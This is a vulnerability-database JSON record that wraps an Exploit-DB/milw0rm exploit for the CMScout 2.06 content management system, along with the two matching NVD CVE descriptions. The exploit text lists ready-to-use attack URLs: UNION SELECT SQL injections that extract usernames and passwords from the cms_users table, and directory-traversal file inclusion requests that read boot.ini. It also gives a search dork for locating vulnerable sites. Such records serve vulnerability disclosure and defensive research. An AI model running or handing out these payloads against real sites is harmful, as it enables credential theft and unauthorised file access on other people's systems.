{"id": "EDB-ID:7625", "hash": "f0bd4545a5df0184b1d484eed535d9f6", "type": "exploitdb", "bulletinFamily": "exploit", "title": "CMScout 2.06 SQL Injection/Local File Inclusion Vulnerabilities", "description": "CMScout 2.06 SQL Injection/Local File Inclusion Vulnerabilities. CVE-2008-6725,CVE-2008-6726. Webapps exploit for php platform", "published": "2008-12-30T00:00:00", "modified": "2008-12-30T00:00:00", "cvss": {"score": 6.0, "vector": "AV:NETWORK/AC:MEDIUM/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://www.exploit-db.com/exploits/7625/", "reporter": "SirGod", "references": [], "cvelist": ["CVE-2008-6726", "CVE-2008-6725"], "lastseen": "2016-02-01T03:38:00", "history": [], "viewCount": 5, "enchantments": {"score": {"value": 6.8, "vector": "NONE", "modified": "2016-02-01T03:38:00"}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2008-6726", "CVE-2008-6725"]}], "modified": "2016-02-01T03:38:00"}, "vulnersScore": 6.8}, "objectVersion": "1.4", "sourceHref": "https://www.exploit-db.com/download/7625/", "sourceData": "#############################################################################################\n[+] CMScout 2.06 Remote SQL Injection/Local File Inclusion\n[+] Discovered By SirGod\n[+] Visit : www.mortal-team.org\n[+] Visit : www.h4cky0u.org\n[+] Greetz : All my friends\n#############################################################################################\n\n[+] Script homepage : http://www.cmscout.co.za/\n[+] Dork : Powered by CMScout (c)2005 CMScout Group\n\n[+] Remote SQL Injection\n\n\n-------------------------------------------------------------------------------\n1)\n\n- You must be logged in as normal user.Add a download and go to :\n\n Example :\n\n http://[target]/[path]/index.php?page=mythings&cat=downloads&action=edit&id=null union all select 1,2,3,4,concat_ws(0x3a,uname,passwd),6,7,8,9,10,11 from cms_users--\n\n\n--------------------------------------------------------------------------------\n2)\n\n- You must be logged in as administrator .\n\n Example :\n\n http://[target]/[path]/admin.php?page=users&subpage=users_view&id=null union all select 1,2,concat_ws(0x3a,uname,passwd),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40 from cms_users--\n\n---------------------------------------------------------------------------------\n\n[+] Local File Inclusion\n\n---------------------------------------------------------------------------------\n1)\n\n- Vulnerable code in admin.php :\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nrequire_once (\"{$bit}includes/error_handling.php\");\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nExample :\n\nhttp://[target]/[path]/admin.php?bit=../../../../../boot.ini%00\n\n----------------------------------------------------------------------------------\n2)\n\n- Vunerable code in index.php :\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nrequire_once (\"{$bit}includes/error_handling.php\");\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\nExample :\n\nhttp://[target]/[path]/index.php?bit=../../../../boot.ini%00\n\n----------------------------------------------------------------------------------\n\n\n#############################################################################################\n\n# milw0rm.com [2008-12-30]\n", "osvdbidlist": ["51118", "51119", "51120"], "_object_type": "robots.models.exploitdb.ExploitDbBulletin", "_object_types": ["robots.models.exploitdb.ExploitDbBulletin", "robots.models.base.Bulletin"]}

{"cve": [{"lastseen": "2019-05-29T18:09:30", "bulletinFamily": "NVD", "description": "Multiple directory traversal vulnerabilities in CMScout 2.06, when register_globals is enabled, allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the bit parameter to (1) admin.php and (2) index.php, different vectors than CVE-2008-3415.", "modified": "2017-09-29T01:33:00", "id": "CVE-2008-6726", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6726", "published": "2009-04-17T14:08:00", "title": "CVE-2008-6726", "type": "cve", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2019-05-29T18:09:30", "bulletinFamily": "NVD", "description": "Multiple SQL injection vulnerabilities in CMScout 2.06 allow remote authenticated users to execute arbitrary SQL commands via the id parameter to (1) index.php in a mythings page (mythings.php) and (2) the users page in admin.php.", "modified": "2017-09-29T01:33:00", "id": "CVE-2008-6725", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-6725", "published": "2009-04-17T14:08:00", "title": "CVE-2008-6725", "type": "cve", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}]}